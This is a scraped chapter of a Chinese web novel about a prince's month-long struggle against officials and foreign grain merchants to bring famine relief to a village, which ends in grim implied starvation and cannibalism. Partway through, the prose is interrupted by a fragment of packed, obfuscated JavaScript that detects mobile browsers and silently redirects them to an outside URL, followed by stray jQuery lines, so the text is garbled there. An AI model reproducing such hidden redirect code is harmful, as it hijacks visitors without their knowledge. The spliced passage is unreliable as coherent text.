文趣网 > 其他小说 > 春不待诏 > 17. 迟来车马空回首
    颜淞没有接话。

    陆云逸也不再笑了。

    他靠在椅背上,看着窗外那株老梅,像是看见的不是王府院落,而是很远很远的一条冬路。

    过了一会儿,他问:“案卷里会写田氏吗?”

    颜淞怔住。

    陆云逸继续道:“会写叶成吗?会写叶开阳吗?会写湾湾村的人先杀鸭,再捕鱼,最后连鱼也没有了吗?”

    颜淞喉咙发紧。

    “不会。”

    “会写我被拦在城门外验帖吗?会写米行的掌柜说契书齐全吗?会写宋县令说要等府城回文吗?”

    “不会。”

    “那会写什么?”

    颜淞低头看着自己的纸。

    他忽然觉得,自己手里的笔也很轻。

    轻得像它随时会把活人的痛写成几句可供翻检的病症。

    过了很久,他道:“会写饥民疫疠,腹胀,浮肿,泄泻,寒热,伤寒,瘟毒。”

    陆云逸点了点头。

    “都是病。”

    颜淞道:“是。”

    “可最先病的,不是他们的身子。”

    颜淞没有说话。

    陆云逸低声道:“是田病了。粮病了。路病了。官府病了。人的心也病了。等这些都病透了,才轮到人的身子。”

    萍儿听得眼眶发红。

    “云逸,今日别说了。”

    陆云逸没有反驳。

    他似乎确实累了。

    可他闭了闭眼,又睁开。

    “我还没说完。”

    颜淞抬头看他。

    陆云逸道:“我在县城等了三日。”

    ……

    那三日里,陆云逸什么也没等到。

    准确地说,也不是什么都没有。

    县衙每天都有消息。

    第一日,仓官回报,常平仓账实不齐。账上写着二百石可动粮,仓中实称后,能立刻支用的不足一百五十石。其中还有一部分陈粮受潮,若要发下去,须先晒检,否则吃坏了人,又是麻烦。

    宋县令脸色很难看。

    他没有骂仓官。

    因为这并非一日之弊。仓粮出入、损耗、鼠耗、陈换新,年年都有名目。平日账面看着尚能糊过去,真到要开仓救人时,少的那部分便从纸上露出了洞。

    第二日,去湾湾村核户的差役回来。

    他们说湾湾村确有断粮之户,却又说没有饿死人。几户人家已经开始以糠、草根、河蚌充饥,也有人家将孩子送去亲戚处。

    宋县令问:“可有逃荒?”

    差役道:“还不多。”

    这句话一出来,屋中便静了。

    还不多。

    意思是已经有了。

    第三日,府城仍未正式验明陆云逸的身份。

    回来的公文说,明亲王府小王爷确曾离京游历,沿途也有几处驿站记载相符,但陆云逸孤身至县,未带随从关防,须再向前一处驿馆核验。

    蒋县丞拿着公文,语气小心。

    “小王爷,府中不是不信,只是事涉粮政,须谨慎。”

    陆云逸看着那张纸。

    他已经不想再听“谨慎”二字。

    谨慎拦住了城门。

    谨慎拦住了商仓。

    谨慎拦住了瑞通行的粮。

    谨慎也拦住了他。

    宋县令倒是比旁人果断些。

    他先开出五十石常平仓粮,送往湾湾村、赵家湾、南渡口三处最急之地。可五十石粮装车、称量、登记、派人押送,又花了一日。

    陆云逸要跟车走。

    宋县令拦住他。

    “小王爷若此时走,府城来人验帖,见不到人,又要拖。”

    陆云逸看着他。

    宋县令也看着陆云逸。

    这一次,宋县令没有避开他的目光。

    “小王爷,我知道你想回湾湾村。可你若留在这里,或许能催出五百石、一千石。你若跟着这五十石回去,便只剩五十石。”

    这话也有理。

    又是有理。

    陆云逸最终留了下来。

    五十石粮车出城时,他站在县衙门口看着。车轮碾过石板路,发出沉闷声响。押粮的差役裹着旧棉衣,呵着白气。粮袋摞在车上,看起来不少,可陆云逸知道,分到几个村子,不过能多撑几日。

    他问宋县令:“车到湾湾村要多久?”

    “路好,一日半。若路差,两日。”

    “会先到湾湾村吗?”

    宋县令沉默了一下。

    “按核户名册,先到赵家湾。那里断粮户更多。”

    陆云逸没有说话。

    他不能说先救湾湾村。

    他说不出口。

    第四日,府城来了两个人。

    一个是府衙经历司的小吏,一个是府城驿馆的书办。他们带着王府名帖抄本、驿牒和一堆要核对的印痕。

    他们见了陆云逸,礼数周到,却仍要问他许多事。

    何日离京?

    带过几名随从?

    为何中途失散?

    曾在何处驿站更换马匹?

    名帖由何人所书?

    王府印记为何与府中存档略有新旧差异?

    陆云逸一一回答。

    回答到后来,他几乎觉得自己不是来救灾,而是来证明自己确实是自己。

    府城小吏也有难处。

    他不敢随意点头。

    若验错了贵人身份,是罪;若放任假冒宗室之人插手粮政,也是罪。于是他问得很细,问完又写,写完再让陆云逸画押。

    陆云逸看着那张纸,忽然想起林鸯鸯的良籍。

    人活着,要被纸证明活着。

    人死了,也要被纸认作死了。

    如今他明明站在这里,也要被纸证明他是陆云逸。

    第五日,身份终于验明。

    宋县令立刻扣查瑞通行寄仓粮。

    可瑞通行的管事早有准备。

    他带着契书、税单、市舶司过路文书、雇工口粮簿,一样一样摆在县衙案上。

    管事是本朝人,姓邵,替瑞国商人办事多年。他说话极稳,脸上一直带着恭敬笑意。

    “小王爷,宋大人,小号这些粮并非囤积居奇,而是沿途转运。税已纳,契已立,去向清楚。若官府强扣,瑞国商馆问起来,小号担不起。”

    宋县令问:“粮要运往何处?”

    邵管事道:“一部分往府城,一部分往海口。”

    “为何冬日运粮?”

    “雇工、船工皆要吃饭。瑞国商船来往,行中自备粮米,不犯律令。”

    陆云逸看着他。

    “前几年瑞国商人高价收丝,引湾湾村一带改桑。今年丝价忽跌,米粮又在你们行号名下转运。邵管事不觉得太巧吗?”

    邵管事笑容不变。

    “小王爷说的是大势,小人只管账。丝价涨跌,米粮转运,皆有商情。若说因果,小人不敢妄言。”

    “瑞国商人现在何处?”

    “府城商馆。”

    “请来。”

    邵管事垂首道:“瑞商不通本朝律令,地方若要传见,须经市舶司或府衙行文。”

    又是一道门。

    县衙没有权直接拿瑞国商人问话。

    宋县令能扣查仓粮,却不能无凭没收。瑞通行账册齐全,文书完备,连缴税都缴得干干净净。

    太干净了。

    干净得像早有人知道会有这一日。

    宋县令私下对陆云逸道:“这事不小。”

    陆云逸道:“所以更要查。”

    宋县令看着他。

    “若只是本地粮商囤粮,我能查。若牵到瑞国商馆、市舶司、府城大商号,甚至前几年劝农改桑的乡绅牙人,便不是县里能办的。”

    “那就去府城。”

    宋县令没有劝他。

    他只是说:“去府城,又要时间。”

    陆云逸当然知道。

    可是他没有别的路。

    第六日,他去了府城。

    从县城到府城,路更远。冬日水路慢,陆路车马也慢。陆云逸换马赶路,中途只歇了两个时辰。到府城时,已经是第八日傍晚。

    府城比县城大得多。

    城门高,街道宽,衙署也更深。陆云逸递名帖进去,这一回没有被关在城外,却仍等了许久。

    知府见他时,已经入夜。

    府衙灯火通明,堂上炭盆烧得很旺。知府姓顾,五十上下,气度比宋县令沉稳许多。他看完陆云逸带来的文书,没有立刻表态,只问了几个问题。

    “湾湾村已死多少人?”

    陆云逸道:“我离村时,还未死人。”

    顾知府抬眼。

    陆云逸明白他的意思。

    未死人,事情在公文上便还差一口气。

    他压住胸中的冷意,继续道:“已有断粮户,已有流移,已有民间传言抢粮。若等死人再办,便迟了。”

    顾知府道:“府中不只湾湾村一处。”

    “所以更该早调粮。”

    顾知府没有否认。

    他让人取来府中近月米价、各县报灾文书、商粮税册。陆云逸看得出来,府城并非全不知情。事实上,他们知道的比县里更多。

    姑苏府南面几个县,米价都涨。

    有的地方比湾湾村更早改桑。

    瑞国商人前几年高价收丝的路线,正好也是今年缺粮最重的几处。

    陆云逸看着那些册子,心里慢慢发冷。

    这已经不像巧合。

    更像有人先用高价把一地人的饭碗换成桑叶,再在粮价抬起时收紧米袋。

    顾知府也看出来了。

    可他说:“没有铁证。”

    又是这句话。

    没有铁证。

    便不能动瑞商。

    不能动瑞商,便只能赈灾。

    可赈灾的粮从哪里来?

    府仓有粮,但府仓也不满。朝廷定额、军需预备、城中平粜,都要算。顾知府可以调一批粮去县里,却不能只给湾湾村,也不能立刻把所有粮都拨出去。

    他答应先拨三百石。

    三百石,比县里五十石多。

    可从府仓出粮,又要称量、造册、装船、派差役押运。粮船到县,再由县分到镇,再由镇送往各村。

    每转一道,便慢一日。

    陆云逸急得几乎不能坐。

    顾知府看着他,道:“小王爷,你急是对的。可粮不是水,不能一泼就到。船要调,人要派,沿路要防抢。若没有押运,粮船未必能到地方。”

    这仍然是实情。

    陆云逸无话可驳。

    第九日,第十日,第十一日。

    他留在府城催粮。

    每日去府仓。

    每日去府衙。

    每日问粮船何时开。

    顾知府起初还见他,后来忙得见不着,便让经历司回话。经历司的小吏见了他,恭敬得很,可说来说去都是那几句。

    “今日装船。”

    “明日验封。”

    “押运人手未齐。”

    “水路有一段浅,须换小船。”

    “沿途有饥民聚集,巡检司须先清道。”

    每一句都不是假的。

    也正因为不是假的,才更叫人绝望。

    第十二日,府城回报,瑞通行一部分寄仓粮在县衙扣查前已经转出。

    文书齐全。

    去向为海口。

    陆云逸问:“何时转出?”

    小吏低头道:“就在县衙验帖那几日。”

    陆云逸闭了闭眼。

    他被困在县城证明自己是谁的时候,那些粮已经从仓里走了。

    第十三日,他见到一个瑞国商人。

    那人汉话说得不熟,身边带着通译。顾知府没有让陆云逸单独问,只在府衙偏厅里请来,说是“询商”。

    瑞国商人面色白,胡须浅,穿着本朝样式的长袍,却怎么看都有些不合身。

    他一直说,丝价跌是因为瑞国本土织造增加,米粮转运是商船所需,行号守法纳税,从未扰乱市面。

    通译一字一句翻得很稳。

    陆云逸问:“你们前几年为何突然高价收丝?”

    通译转述后,瑞商笑了笑。

    “商人逐利。彼时贵国丝好,价高亦值得。”

    “今年为何又压价?”

    “商人逐利。如今不值。”

    这回答坦白得几乎无耻。

    顾知府脸色也不好看。

    可瑞商说得并不错。

    商人逐利。

    这四个字,可以解释很多事。

    也可以遮住很多事。

    第十四日,府城三百石粮终于开船。

    陆云逸原本要随船回县。

    顾知府却拦住他。

    “小王爷,此事已经惊动省中转运司。若你现在走,瑞通行一事便只剩府中慢查。你若留下,至少能逼他们把账册交出来。”

    陆云逸看着码头上的粮船。

    船已经装好。

    粮袋一层层压在舱中。

    只要他上船,几日后便能离湾湾村近一些。

    可顾知府的话也没有错。

    若他留下,或许能查出瑞国商人背后那条线。

    若他走,湾湾村能早几日见到他。

    他站在码头上,第一次恨自己只有一个人。

    最后,他没有上船。

    他让人带了信给宋县令,叫他务必将粮先送最急处,又另写一封给叶成。

    信很短。

    粮已在路上。

    35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17520942|203305||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >守住。

    等我回去。

    他不知道这封信能不能到叶成手里。

    更不知道叶开阳能不能听见。

    第十五日到第二十日,陆云逸留在府城查瑞通行。

    说是查,其实艰难得很。

    瑞通行账册多,契书多,通译多,背后又有府城大商户作保。市舶司的人也来了,说瑞商依法通商,地方不得无故滋扰。顾知府夹在中间,既不愿得罪瑞商,也不愿担延误赈灾的名声。

    陆云逸每日都觉得自己像在泥里走。

    抬起一只脚,另一只脚又陷进去。

    第二十一日,县里来了消息。

    府粮已经到县。

    但分粮时发生争抢,有一车粮在赵家湾被饥民围住,袋子被扯破,差役挨了打。宋县令不得不增派人手维持秩序,因此送往湾湾村的粮又迟了一日。

    陆云逸读到这里,手指发冷。

    迟一日。

    又一日。

    第二十三日,宋县令来信说,湾湾村收到粮,但少于原定数目。沿途损耗、分流、争抢,加上临时改派给更急的南渡口,到湾湾村时,只剩很少一部分。

    信上写得委婉。

    “仅可暂缓。”

    暂缓。

    不是解决。

    第二十五日,顾知府终于允许陆云逸离开府城。

    瑞通行的账册仍未查清。

    省中也没有回文。

    市舶司说要再核。

    转运司说粮路另有安排。

    每个人都说再等等。

    陆云逸已经等不下去了。

    他从府城启程,赶回县城。

    第二十七日到县城。

    宋县令见他时,面色憔悴。

    “湾湾村又报断粮。”

    陆云逸心中一沉。

    “不是送过粮?”

    “送得太少。”宋县令道,“而且村中不止湾湾村。附近几处都在抢粮。镇上十五石粮也没有按时足数交出,三家米行各有推脱。”

    “为何不拿人?”

    宋县令苦笑:“拿了掌柜,粮也未必出来。背后东家不在镇上。”

    陆云逸闭了闭眼。

    又是一层。

    掌柜后面有东家。

    东家后面有商号。

    商号后面有府城。

    府城后面还有市舶司和瑞国商馆。

    而叶开阳后面,只有一只缺口碗。

    第二十八日,他离开县城,往镇上赶。

    第二十九日到镇上。

    许镇正见他时,几乎不敢抬头。

    “小王爷,湾湾村那边……”

    陆云逸看着他。

    许镇正嘴唇发白。

    “前几日有几户逃荒。叶成家……下官不清楚。只是听说他们家粮早就尽了。”

    陆云逸没有再听他说下去。

    他出了镇子,往湾湾村走。

    这一次,他没有坐车。

    路仍旧很长。

    比他离开时更长。

    田野空荡荡的,桑树枝条已经有一点发芽的迹象。春天快来了。可春天来得再快,也不能让粮瓮立刻长出米。

    终于有一天,陆云逸看见湾湾村村口那棵没有树皮的歪脖子柳树。

    他停下脚步。

    湾湾村比他离开时更静。

    不是夜里的静。

    是活物被一点一点吃空以后,剩下的静。

    村口没有孩子。

    水沟边没有摸鱼的人。

    田埂上没有鸡鸭,也没有狗叫。连从前总在屋檐下乱钻的麻雀,仿佛也不见了。几户人家的院门半开着,里面没有说话声,也没有锅碗声。风从空院子里穿过去,卷起一点灰土,又很快落下。

    陆云逸往叶家走。

    越靠近叶家,他脚步越慢。

    叶家的院门半敞着。

    门闩歪在一旁,像已经许久没人好好关门。院角那个从前装鸭子的破竹筐倒在地上,筐边被啃得乱七八糟,不知是人咬的,还是被什么钝器砸开的。

    灶房冷着。

    锅盖歪在地上。

    水缸见了底,缸沿有几道干裂的泥痕。米瓮倒在墙边,里面空得干干净净,连糠皮都没有剩下。旁边那只缺口碗还在,碗里没有石子。

    一粒也没有。

    陆云逸站在灶房门口,忽然觉得自己听不见风声了。

    他慢慢走进东屋。

    那间原本留给“儿子”的空房,已经空了。床板上没有被褥,柜门开着,里面什么都没有。墙角落着几根干草,被人嚼过似的,断口发白。

    陆云逸又往正屋走。

    屋里很暗。

    一股说不清的腥腐气混着潮冷扑出来。

    叶成躺在床上。

    不,几乎不能说是躺着。他像一张被抽干的皮,蜷在薄薄的草席上,脸颊凹陷,眼眶黑得吓人。听见脚步声,他眼皮动了动,像用了很久才认出陆云逸。

    他没有起身。

    饥饿到这个地步,人已经不会再起身了。

    起身要力气。

    说话也要力气。

    陆云逸站在床前,喉咙像被什么堵住。

    “叶成。”

    叶成的嘴唇动了一下。

    陆云逸弯下腰,才听见一点气音。

    “公子……”

    陆云逸看向屋内。

    田氏不在。

    叶开阳也不在。

    床边放着一只破碗,碗底凝着一层暗褐色的痕迹。旁边有一截细细的骨头,已经被砸裂,骨髓被刮得干净。地上还有一小片灰扑扑的布角,像是从孩子衣裳上撕下来的。

    陆云逸认得那颜色。

    叶开阳曾穿过那件短衣。

    他没有问。

    他忽然明白,有些话不必问出口。

    有些答案,只要看见屋里的空处、碗底的痕、床边的骨、那片布角,就已经足够残忍。

    叶成的眼睛里没有泪。

    人饿到最后,连哭的水分也没有了。

    他只是看着陆云逸,嘴唇又动了动。

    这一次,陆云逸没有听清。

    也许他在说粮。

    也许他在说开阳。

    也许他什么都没有说,只是身体里最后一点气,从干裂的唇缝里漏了出来。

    陆云逸站在那里,手脚冰冷。

    他从镇上到县里,从县里到府城,又从府城赶回来。

    他一直在赶路。

    一直在求人。

    一直在写信。

    一直在盖印、验帖、查仓、问粮、催船。

    可他还是回来晚了。

    整整一个月。

    屋外风吹过院子。

    墙角那块干硬的泥地上,隐隐还剩半个没被磨尽的字。

    粮。